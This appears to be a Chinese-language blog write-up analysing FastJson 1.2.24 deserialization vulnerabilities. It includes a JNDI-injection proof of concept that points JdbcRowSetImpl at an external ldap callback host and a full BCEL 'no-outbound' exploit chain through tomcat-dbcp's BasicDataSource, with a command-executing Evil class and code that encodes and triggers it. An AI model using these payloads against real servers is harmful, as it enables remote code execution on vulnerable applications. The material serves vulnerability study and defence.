fastjson-BCEL不出网打法原理分析

FastJson反序列化漏洞

与原生的 Java 反序列化的区别在于，FastJson 反序列化并未使用 readObject 方法，而是由 FastJson 自定一套反序列化的过程。通过在反序列化的过程中自动调用类属性的 setter 方法和 getter 方法，将JSON 字符串还原成对象，当这些自动调用的方法中存在可利用的潜在危险代码时，漏洞便产生了。

fastjson用法：

1.将字符串转换为json格式，通过key获取value：

class jsonUser{
public static void main(String[] args) {
//正常使用将字符串转换成json格式，提取相关数据
String s = "{\"name\":\"小红\",\"age\":\"18\"}";
JSONObject jsonobject = (JSONObject) JSON.parse(s);
System.out.println(jsonobject.get("name"));
}}
小红

这么简单好用的一个功能为什么会出现漏洞？

2.将JSON还原成对象：

class jsonUser{
public static void main(String[] args) {
//正常使用将字符串转换成json格式，提取相关数据
String s = "{\"name\":\"小红\",\"age\":\"18\"}";
JSONObject jsonobject = (JSONObject) JSON.parse(s);
System.out.println(jsonobject.get("name"));
}}
小红
class User {
private String id;
User() {
System.out.println("User go");
}
public void setId(String ids) {
System.out.println("setId go");
this.id = ids;
}
public String getId() {
System.out.println("GetId go");
return this.id;
}
}
public class Fastjson {
public static void main(String[] args) {
User a = new User();
String json = JSON.toJSONString(a); //序列化 转为json
// System.out.println(json);
System.out.println(JSON.parseObject(json,User.class)); //反序列化 转为
原始数据
}
}

result：会自动调用 Get方法和构造方法。

fastjson漏洞产生原因：

public class Fastjson {
public static void main(String[] args) {
JSONObject jsonObject =
JSON.parseObject({\"@type\":\"Java_deserialization.User\",\"id\":\"123\"}");
System.out.println(jsonObject);
}
}

result：会自动调用Get，Set，构造方法。

这里fastjson提供了AutoType这种方式来指定需要还原的对象以及值 {"@type":"Java_deserialization.User","id":"123"}，其中@type后面跟进的就是我们所需要还原的对象 （可控）后面跟进的id也就是这个类里面的属性，如果有一个fastjson反序列化点可控那么我们就可以随 意指定一个恶意类，如果这个恶意类里面的构造方法或者Get，Set方法调用了恶意的方法那么就会造成 反序列化漏洞。

fastjson什么时候会调用get方法

细节就不调试了，感兴趣可以调试JavaBeanInfo.build() 里面的规则

● 只存在 getter 方法，无 setter 方法。

● 方法名称长度大于等于4。

● 非静态方法。

● 方法名以 get 开头，且第四个字符为大写字母，例如 getAge。

● 方法无须入参。

● 方法返回值继承自 Collection、Map、AtomicBoolean、AtomicInteger 和 AtomicLong 的其中一个。

fastjson1.2.24-JndI注入

Poc：

public class Fastjson {
public static void main(String[] args) {
System.out.println(JSON.parseObject("
{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\"," +
"\"dataSourceName\":\"ldap://erh3yu.dnslog.cn\"," +
"\"autoCommit\":\"true\"}"));
}
}

根据之前的分析，可以知道攻击者指定了一个类 @type：com.sun.rowset.JdbcRowSetImpl，然后给类里面的属性进行了赋值（就跟之前的id一样的），那么赋值以后就会调用对应的set方法，也许危险代码 就在set方法里面：

1.调用set方法dataSourceName：

2.调用setAutoCommit方法：为什么是true？这里autoCommit是一个布尔值，你传false 或者0，1都可以。

会进入caonnect方法，危险方法就是这个connect：

3.connect方法：

熟悉Java的朋友就会知道这是一个Jndi注入点，其中里面的dataSourceName是可控的就是我们刚刚传 入的ldap协议，这里就不过多的阐述ldap协议了，后面会单独的去做笔记。ldap协议属于jndi里面的一 种可以远程动态加载其他服务器上面的资源，如果远程加载的对象可控那么我们就可以远程加载自己构 建的恶意类。

4.这里我们跟进lookup看看：

5.getURLOrDefaultInitCtx方法：

这里会对我们传入的uri进行判断，判断是什么协议比如ldap，rmi等远程加载数据的协议。

fastjson1.2.24-BCEL不出网打法

刚刚介绍的是fastjson利用jndi注入来远程加载恶意类的方法，如果机器在内网无法访问互联网那么这种方法就失败了，虽然TemplatesImpl利用链虽然原理上也是利用了 ClassLoader 动态加载恶意代码，但是需要开启 Feature.SupportNonPublicField ，并且实际应用中其实不多见所以我们就介绍另外一种 攻击方法apache-BCEL，直接传入字节码不需要出网就可执行恶意代码但是需要引入tomcat的依赖，但 在实际攻击中还算是比较常见的。

复现环境

<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.24</version>
</dependency>
<dependency>
<groupId>org.apache.tomcat</groupId>
<artifactId>tomcat-dbcp</artifactId>
<version>9.0.20</version>
</dependency>
// tomcat-bdcp在7还是8版本一下名称叫做dbcp，大家引入的时候注意一下

POC：

{
"@type": "org.apache.tomcat.dbcp.dbcp2.BasicDataSource",
"driverClassLoader": {
"@type": "com.sun.org.apache.bcel.internal.util.ClassLoader"
},
"driverClassName": "$$BCEL$$$l$8b......"
}

这里需要说明一下driverClassName里面传入的其实是恶意类经过BCEL协议编码过后的代码，网上很多 的人都没有说明，也没有告诉大家如何生成，后面部分会为一步一步说。

分析：

正常使用BCEL：

import com.sun.org.apache.bcel.internal.classfile.Utility;
import org.springframework.util.FileCopyUtils;
import com.sun.org.apache.bcel.internal.util.ClassLoader;
import java.io.File;
import java.io.FileInputStream;
import java.io.InputStream;
public class fastjsonBcel {
public static void main(String[] args) throws Exception {
//不考虑fastjson情况就正常调用该类
ClassLoader classLoader = new ClassLoader();
byte[] bytes = fileToBinArray(new File("D:\\Evil.class"));
String code = Utility.encode(bytes,true);
classLoader.loadClass("$$BCEL$$"+code).newInstance();
//将文件转为字节码数组
public static byte[] fileToBinArray(File file){
try {
InputStream fis = new FileInputStream(file);
byte[] bytes = FileCopyUtils.copyToByteArray(fis);
return bytes;
}catch (Exception ex){
throw new RuntimeException("transform file into bin Array 出错",ex);
}
}
}
//恶意类
package Java_deserialization;
import java.lang.Runtime;
import java.lang.Process;
public class Evil {
static {
try {
Runtime rt = Runtime.getRuntime();
String[] commands = {"calc"};
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
// do nothing
}
}
}
//javac Evil.java 转为.class，动态调用的是字节码
com.sun.org.apache.bcel.internal.util里面有一个classLoader类，ClassLoader类里面有一个
loadClass方法，如果满足方法里面的条件就可以动态调用恶意代码，其中恶意代码是通过BCEL格式传入
的。

代码很简单，创建一个对象然后调用loadClass方法，需要注意的是为什么我们需要做编码这一步：String code = Utility.encode(bytes,true);

我们在调用loadClass方法的时候会调用 creatClass方法，这里需要跟进去看看

可以看到在进入到 creatClass方法以后会对数据进行解码，所以在之前我们需要进行编码而且为了满足 条件需要加上“$$BCEL$$”相关的字符串才能绕过if判断。

成功执行命令，那么现在我们需要考虑的就是如何将这个恶意方法和fastjson结合起来。

tomcat-dbcp：

结合tomcat-dbcp这个类进行组合达到触发fastjson的目的：

tomcat-dbcp里面有一个BasicDataSource类，在反序列化的时候会调用getConnection()方法：

getConnection()方法在返回的时候会调用createDataSource()方法：

createDataSource()方法又会调用createConnectionFactory()方法，

问题代码：

driverFromCCL = Class.forName(driverClassName, true, driverClassLoader);

正常BCEL的代码：

ClassLoader classLoader = new ClassLoader();
classLoader.loadClass("$$BCEL$$"+code).newInstance();

通过动态类加载调用我们的loadclass，如果Class.forName(driverClassName, true, driverClassLoader)中的driverClassName和driverClassLoader可控，那么我们就可以传入我们正常BCEL生成的 classLoader和BCEL绕过的代码，恰巧这里有对应的set方法，那么在fastjson反序列化中就会调用set方法来达到可控的目的：

public class fastjsonBcel {
public static void main(String[] args) throws Exception {
ClassLoader classLoader = new ClassLoader();
byte[] bytes = fileToBinArray(new File("D:\\Evil.class"));
String code = Utility.encode(bytes,true);
BasicDataSource basicDataSource = new BasicDataSource();
basicDataSource.setDriverClassLoader(classLoader);
basicDataSource.setDriverClassName("$$BCEL$$"+code);
basicDataSource.getConnection();
}

攻击链：

换成正常POC测试：

public class fastjsonBcel {
public static void main(String[] args) throws Exception {
byte[] bytes = fileToBinArray(new File("D:\\Evil.class"));
String code = Utility.encode(bytes,true);
String s = "
{\"@type\":\"org.apache.tomcat.dbcp.dbcp2.BasicDataSource\",\"driverClassName\":
\"$$BCEL$$" + code + "\",\"driverClassloader\":
{\"@type\":\"com.sun.org.apache.bcel.internal.util.ClassLoader\"}}";
JSON.parseObject(s);
}